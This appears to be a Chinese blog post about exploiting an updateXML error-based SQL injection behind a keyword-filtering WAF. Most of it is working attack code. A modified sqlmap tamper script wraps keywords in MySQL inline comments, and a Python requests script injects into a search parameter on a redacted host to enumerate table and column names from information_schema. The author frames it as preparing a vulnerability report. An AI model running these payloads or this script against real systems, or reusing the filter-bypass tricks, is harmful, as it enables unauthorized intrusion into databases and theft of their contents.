博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
updateXML 注入 python 脚本
阅读量:5816 次
发布时间:2019-06-18

本文共 2928 字,大约阅读时间需要 9 分钟。

用SLQMAP来跑updateXML注入发现拦截关键字,然后内联注入能绕,最后修改halfversionedmorekeywords.py脚本,结果SQLMAP还是跑不出来。>_<

halfversionedmorekeywords.py脚本修改后如下:

#!/usr/bin/env pythonimport osimport refrom lib.core.common import singleTimeWarnMessagefrom lib.core.data import kbfrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITYfrom lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS__priority__ = PRIORITY.HIGHERdef dependencies():    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))def tamper(payload, **kwargs):    def process(match):        word = match.group('word')        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:            return match.group().replace(word, "/*!12345 %s*/" % word)        else:            return match.group()    retVal = payload    if payload:        retVal = re.sub(r"(?<=\W)(?P
[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal

 

自己写个脚本得了,于是有了以下代码,成功跑出表名和字段。

#coding=utf-8import requestsimport re, binascii, warnings, timewarnings.filterwarnings("ignore")table_name_list = []for k in range(1,112):    #遍历表名    url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&" \          "searchopt=content&searchkey=1' /*!and*//*!updateXML*/" \          "(1,concat(0x7e, (select /*!table_name*/ /*!from*/ information_schema.tables limit " + str(k) + ",1),0x7e),3)-- -" \          "&x=4&y=23"    req = requests.get(url)    a = re.findall(r"'~(.*)~'", req.text)    if a:table_name_list.append(a[0])    else:passprint table_name_listfor i in  table_name_list:    print u"表名为:",i #输出表名    #遍历字长度    url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&searchopt=content&searchkey=1" \          "' /*!and*//*!updateXML*/(1,concat(0x7e, " \          "(/*!SELECT*/ /*!distinct*/ concat(0x7e,/*!count(column_name)*/,0x7e) /*!FROM*/ /*!information_schema.columns*/ " \          "where /*!table_name=0x"+str(binascii.b2a_hex(i))+"*/ ),0x7e),3)-- -&x=4&y=23"    req = requests.get(url)    b = re.findall(r"'~(.*)~'",req.text)    if b:        m = int(b[0].strip("~"))+1        print u"行数为:",m #输出行数        for n in range(1,m):            #遍历字段名            url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&searchopt=content&searchkey=1" \                  "' /*!and*//*!updateXML*/(1,concat(0x7e, " \                  "(/*!SELECT*/ /*!distinct*/ concat(0x7e,/*!column_name*/,0x7e) /*!FROM*/ /*!information_schema.columns*/ " \                  "where /*!table_name=0x"+str(binascii.b2a_hex(i))+"*/ limit "+str(n)+",1),0x7e),3)-- -&x=4&y=23"            req = requests.get(url)            c = re.findall(r"'~(.*)~'", req.text)            if c:print u"字段:",str(c).strip("[u'~").strip("~']")            else:pass    else:pass

收工,提漏洞。拜拜。

转载于:https://www.cnblogs.com/MiWhite/p/7062207.html

你可能感兴趣的文章
Highcharts、AJAX、JSON、JQuery实现动态数据交互显示图表柱形图
查看>>
MySql图解给表添加外键
查看>>
easyui combobox下拉框复制后再禁用,点击不会出现下拉框
查看>>
mysql数据库自增id重新从1排序的两种方法
查看>>
Oracle日期周具体解释以及周開始结束时间计算
查看>>
HashMap源代码阅读
查看>>
CEF禁止右键菜单
查看>>
buildroot 搭建ftpd 服务器记录
查看>>
获取href连接并跳转
查看>>
hbase-0.94安装方法具体解释
查看>>
Hadoop常见异常及其解决方式
查看>>
汽车电商竞争白热化,“五大门派”谁能登顶?
查看>>
Vuejs2.0 + bootstrap demo
查看>>
Oracle 12c 新特性之 数据库内归档(In-Database Archiving)
查看>>
linux多线程学习笔记六--一次性初始化和线程私有数据【转】
查看>>
回看存储过程
查看>>
eclipse 启动报错 java was started but returned code=13
查看>>
UVa 12377 - Number Coding
查看>>
VC++ 设置桌面壁纸
查看>>
MQTT压力测试工具之JMeter插件教程
查看>>